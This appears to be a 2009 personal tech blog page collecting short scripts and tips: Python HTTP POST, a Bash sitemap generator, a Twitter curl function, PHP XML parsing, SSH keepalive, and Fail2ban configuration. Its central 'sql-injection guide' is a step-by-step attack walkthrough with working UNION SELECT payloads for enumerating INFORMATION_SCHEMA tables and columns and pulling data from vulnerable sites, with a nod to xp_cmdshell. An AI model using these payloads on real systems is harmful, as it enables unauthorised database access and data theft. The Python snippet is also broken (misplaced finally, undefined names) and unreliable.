10 Most Recently Updated Pages

use Python for http POST requests

Mon, 26 Jan 2009 11:16:54 +0100

A little script that shows how to use Python for HTTP Requests

import string,urllib
def format(items):
     list = []
     for k, v in items:
        list.append("%s=%s" % (k, urllib.quote_plus(v)))
     return string.join(list, '&')
data = { 'hidd':'en', 'email':'you at yourmail.com',
          'POST':'post.gif' }
d = format(data.items())
try:
     sock = urlopen(YourURL, d)
     for l in sock.readlines():
         print l
     sock.close()
     finally:
         urlcleanup()

Generate sitemaps

Mon, 11 May 2009 12:59:40 +0200

A nice script I made for generating (google) sitemaps n Bash.

it simply mirrors and extracts the url's and creates a xml file.Then it notifies google that a new sitemap is created.

#!/bin/bash


url="yoursite.com"
date=`date +'%FT%k:%M:%S+00:00'`
freq="weekly"
prio="0.5"

rm sitemap.xml

list=`wget -r --delete-after $url --reject=.rss.gif,.png,.jpg,.css,.js,.txt,.ico 2>&1 |grep "\-\-"  |grep http | awk '{ print $3 }'`
array=($list)

echo ${#array[@]} "pages detected for $url" 

echo '<?xml version="1.0" encoding="UTF-8"?> 
   <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' >> sitemap.xml;
   for ((i=0;i<${#array[*]};i++)); do
        echo "<url>
        <loc>${array[$i]:0}</loc>
        <priority>$prio</priority>
        <lastmod>$date</lastmod>
        <changefreq>$freq</changefreq>
   </url>" >> sitemap.xml
   done
echo "</urlset>" >> sitemap.xml

#notify google
wget  -q --delete-after http://www.google.com/webmasters/tools/ping?sitemap=http://$url/sitemap.xml

rm -r ${url}
exit 0

Twitter & bash

Tue, 12 May 2009 11:53:31 +0200

Using twitter is not really one of my hobbies, but sometimes it can be usefull to leave a message.

So I wrote this little function that writes someting to my twitter account.

Add this to your .bashrc file

twit ()
{ a=$@
   curl -u username:password  -d status="$a" http://twitter.com/statuses/update.xml >/dev/null 2>&1

}

So in order to post a message, simply type somthing like twit hi everyone

or if you are really lazy (like me) automatically post a 'fortune' like this:

twit `fortune -n140`

(and don't tell anyone i use Cronjob to post my messages ;)

Next week I'll try to make a scipt that uses Markov-chains and and creates messages based on a collection of twitter accounts. Then we'll see if a thousand monkeys actually are capable of writing a novel :)

xml2array

Wed, 06 May 2009 09:48:55 +0200

A usefull script to convert XML into some array, so it can be used for for example importing to a database or something.

function xml2array($xml) {
         $xmlary = array();
                 
         $reels = '/<(\w+)\s*([^\/>]*)\s*(?:\/>|>(.*)<\/\s*\\1\s*>)/s';
         $reattrs = '/(\w+)=(?:"|\')([^"\']*)(:?"|\')/';
 
         preg_match_all($reels, $xml, $elements);
 
         foreach ($elements[1] as $ie => $xx) {
                 $xmlary[$ie]["name"] = $elements[1][$ie];
                 
                 if ($attributes = trim($elements[2][$ie])) {
                         preg_match_all($reattrs, $attributes, $att);
                         foreach ($att[1] as $ia => $xx)
                                 $xmlary[$ie]["attributes"][$att[1][$ia]] = $att[2][$ia];
                 }
 
                 $cdend = strpos($elements[3][$ie], "<");
                 if ($cdend > 0) {
                         $xmlary[$ie]["text"] = substr($elements[3][$ie], 0, $cdend - 1);
                 }
 
                 if (preg_match($reels, $elements[3][$ie]))
                         $xmlary[$ie]["elements"] = xml2array($elements[3][$ie]);
                 else if ($elements[3][$ie]) {
                         $xmlary[$ie]["text"] = $elements[3][$ie];
                 }
         }
 
         return $xmlary;
 }

Keep SSH connection open

Mon, 26 Jan 2009 12:25:40 +0100

Many home and office routers kill "idle" connections after a certain length of time, forcing you to log in again. From an ISP's point of view this is understandable, but imho it's just annoying to loose a connection when you just went for a coffee and forget to be back in time.
A one-line addition to the end of the client's SSH configuration file (found at /etc/ssh/ssh_config in many systems) can fix this:

ServerAliveInterval 180

That should send a little ping out every three minutes to ensure the connection is kept alive. This tip should work on most OpenSSH servers that allows access to its sshd_config file. Just make sure you close your connection if you really don't use it for some time.

sql-injection guide

Mon, 26 Jan 2009 14:33:17 +0100

SQL-injection in a nutshell

Most sites use a database for their backend system. In the url of these sites you can often find GET-data, like example.com?textid=4. This usually means that this number '4' is used somewhere in a database query. (another option would be that this number is used to look for a file with this name, but lets assume that this a database driven site)

Modifying that statement could produce an error,try for example a very high value, or some special characters, or try a letter instead of a number; if the column is of type 'int' and you feed it a character it will most likely produce an error , which is what we're looking for. This error shows probably too much information, like the databasetype, the tablename, or even shows the complete query. This all depends on the measures that the coder or server-admin has taken. In php for example you can easily suppres error-messages by adding a '@' in front of a function. Filtering/validation of the 'GET' or 'POST' data will even is even a better way to avoid these mistakes (protip: filter everything, except numbers; if you set up a server/site this way, then its very unlikely that any attempt to sql-injection will work.)

Once you know that the website is vulnerable, the are a few steps to take:

* find the right format to execute query's, like do you have to use some extra
) , " , ' or ;
* get table names
* get more information about the DB, like what is in INFORMATION_SCHEMA.
* test if there are more vulnerabilities, like stored procedures, master..Xp_cmdshell (knowing this could save some time ;)
* execute queries to the tables you want.
* make sure there is some way for you to read the output.
SQL commands, quick reference

ORDER BY: Tells the website which column to display first on the webpage that you are currently viewing.
SELECT : Specifies certain information in a table.
UPDATE : Changes existing information in a column of a table.
AND : Both conditions must be true in order for a command to be carried out.
OR : Only one condition must be true in order for a command to be carried out.
-- : Ends your series of commands.
+ : Use the plus sign instead of a space.

0. check if the site is vulnerable

Many url's look something like this: www.domain.com?id=10

TRY:

$~> www.mydomain.com?id=10+AND+1=0--

This should always result to untrue and produce a query-error if vulnerable. This probably gives you a clue about the database and such. If not then error-messages have been turned of or some other other measures have been taken.

(or)
TRY:

www.mydomain.com/home.asp?id=10+HAVING+1=1--

This will result in a error like this:

Column 'table.column' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Microsoft JET Database Engine ...

1. watch the query-error carefully. Are some extra ', ", ), etc needed?

2. how many columns are displayed on the page?

Add this to the url:
+ORDER+BY+1--
example:

www.mydomain.net/home.asp?id=10+ORDER+BY+1--

This tells the page to show column 1 first.
TRY:

+ORDER+BY+2--
+ORDER+BY+3--
etc.

until you receive an error. Now you know how many columns there are in this table.

3. INFORMATION_SCHEMA

get information from the information_schema about this table:
TRY:

www.mydomain.net/home.asp?id=-10+UNION+SELECT+1,table_name,3,4+FROM+INFORMATION_SCHEMA.TABLES--

This probably shows some extra numbers and word(s) on the site.
1,table_name,3,4 are the columns, column 2 shows the tablename. This can be tried for every number, like:
1,2,table_name,4

4. Find the right table

TRY: (www.mydomain.net/home.asp?)

id=-10+UNION+SELECT+1,table_name,3,4+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_name>'KnownTable'--

'KnownTable' should be replaced by the tablename that you've figured out. This lets you 'navigate' trough the tables.

Repeat step 3. if necessary

5. Get column names

TRY:

www.mydomain.net/home.asp?-1+UNION+SELECT+1,column_name,3+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name='KnownTable'--

then 'navigate' the columns

-1+UNION+SELECT+1,column_name,3+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name='KnownTable'+AND+column_name>'KnownColumn'--

This shows the columnname after KnownColumn

6. showing output

Use the UNION statement to 'add' your query. Use the table and columnnames that you've found.
TRY:

www.mydomain.net/home.asp?-1+UNION+SELECT+1,knownColumn,3,4+FROM+KnownTable--

this will most likely show some content from that column (let's say we call it 'SomeData')

TRY:

www.mydomain.net/home.asp?-1+UNION+SELECT+1,AnotherColumn,3,4+FROM+KnownTable+WHERE+KnownColumn='SomeData'--

or possibly:

-1+UNION+SELECT+*+FROM+KnownTable+WHERE+KnownColumn='SomeData'--

Projects

Tue, 27 Jan 2009 18:32:28 +0100

-- currently under contruction --

for more info, contact us at info@lxer.nl

LXer WebDevelopment

Fri, 23 Jan 2009 15:38:59 +0100

This website is currently under construction and will be ready soon.

For more information, email us at: info@lxer.nl

Page not found

Fri, 23 Jan 2009 15:38:59 +0100

Sorry, it seems you were trying to access a page that doesn't exist.

Please check the spelling of the URL you were trying to access and try again.

Fail2ban - Prevent Bruteforce Attacks

Mon, 26 Jan 2009 12:27:44 +0100

Howto use Fail2Ban to lock out evil Haxxors after they fail trying to log in to your systems.

(ssh, apache, vsftp, proftp, wuftp, postfix, couriersmtp, sasl)

general info:

install (Debian):
apt-get install fail.ban

configuration files:
/etc/fail2ban/fail2ban.conf
/etc/fail2ban/jail.conf

fail2ban.conf
Default seetings seem to be ok.
jail.conf
In this file you can set
#maxretry change this to what you think is neccesary
#bantime #seconds for someone to be banned (default = 600)
-enable the deamons you want to monitor
-set the email address

If you want to do some extra configuration
(like set different logfiles or change the ban-action, then this can be done in this file (jail.conf). For standard use, these settings seem to be ok.

filter.d
jail.conf contains references to patterns in the folder filter.d
New configurations can be added here.

example conf.:

# "ignoreip" can be an IP address, a CIDR mask or a DNS host
ignoreip = 127.0.0.1 192.168.0.99
bantime  = 600
maxretry = 3

# "backend" specifies the backend used to get files modification. Available
# options are "gamin", "polling" and "auto".
# yoh: For some reason Debian shipped python-gamin didn't work as expected
#      This issue left ToDo, so polling is default backend for now
backend = polling

#
# Destination email address used solely for the interpolations in
# jail.{conf,local} configuration files.
destemail = root@localhost

# Default action to take: ban only
action = iptables[name=%(__name__)s, port=%(port)s]

[ssh]

enabled = true
port    = ssh
filter  = sshd
logpath  = /var/log/auth.log
maxretry = 5

[apache]

enabled = true
port    = http
filter  = apache-auth
logpath = /var/log/apache*/*error.log
maxretry = 5

[apache-noscript]

enabled = false
port    = http
filter  = apache-noscript
logpath = /var/log/apache*/*error.log
maxretry = 5

# Ban hosts which agent identifies spammer robots crawling the web
# for email addresses. The mail outputs are buffered.
[apache-badbots]

enabled  = false
filter   = apache-badbots
action   = iptables-multiport[name=BadBots, port="http,https"]
sendmail-buffered[name=BadBots, lines=5, dest=you@mail.com]
logpath  = /var/www/*/logs/access_log
bantime  = 172800
maxretry = 1

[apache-tcpwrapper]

enabled  = false
filter   = apache-auth
action   = hostsdeny
logpath  = /var/log/apache*/*access.log
/home/www/myhomepage/access.log
maxretry = 6

# Use shorewall instead of iptables.

[apache-shorewall]

enabled  = false
filter   = apache-noscript
action   = shorewall
sendmail[name=Postfix, dest=you@mail.com]
logpath  = /var/log/apache2/error_log

# This jail uses ipfw, the standard firewall on FreeBSD. The "ignoreip"
# option is overridden in this jail. Moreover, the action "mail-whois" defines
# the variable "name" which contains a comma using "". The characters '' are
# valid too.
[ssh-ipfw]

enabled  = false
filter   = sshd
action   = ipfw[localhost=192.168.0.1]
sendmail-whois[name="SSH,IPFW", dest=you@mail.com]
logpath  = /var/log/auth.log
ignoreip = 168.192.0.1

# These jails block attacks against named (bind9). By default, logging is off
# with bind9 installation. You will need something like this:
#
# logging {
#     channel lame-servers_file {
#         file "/var/log/named/lame-servers.log" versions 3 size 30m;
#         severity dynamic;
#         print-time yes;
#     };
#     category lame-servers {
#         lame-servers_file;
#     };
# }
#
# in your named.conf to provide proper logging.
# This jail blocks UDP traffic for DNS requests.

[named-refused-udp]

enabled  = false
filter   = named-refused
action   = iptables-multiport[name=Named, port="domain,953", protocol=udp]
sendmail-whois[name=Named, dest=you@mail.com]
logpath  = /var/log/named/lame-servers.log
ignoreip = 168.192.0.1

[vsftpd]

enabled  = false
port     = ftp
filter   = vsftpd
logpath  = /var/log/auth.log
maxretry = 5

[proftpd]

enabled  = true
port     = ftp
filter   = proftpd
logpath  = /var/log/auth.log
failregex = proftpd: \(pam_unix\) authentication failure; .* rhost=<HOST>
maxretry = 5

[wuftpd]

enabled  = false
port     = ftp
filter   = wuftpd
logpath  = /var/log/auth.log
maxretry = 5

[postfix]

enabled  = false
port     = smtp
filter   = postfix
logpath  = /var/log/mail.log
maxretry = 5

[courierpop3]

enabled  = true
port     = pop3
filter   = courierlogin
failregex = courierpop3login: LOGIN FAILED.*ip=\[.*:<HOST>\]
logpath  = /var/log/mail.log
maxretry = 5

[courierimap]

enabled  = true
port     = imap2
filter   = courierlogin
failregex = imapd: LOGIN FAILED.*ip=\[.*:<HOST>\]
logpath  = /var/log/mail.log
maxretry = 5

[sasl]

enabled  = true
port     = smtp
filter   = sasl
failregex = warning: [-._\w]+\[<HOST>\]: SASL (?:LOGIN|PLAIN|(?:CRAM|DIGEST)-MD5) authentication failed
logpath  = /var/log/mail.log
maxretry = 5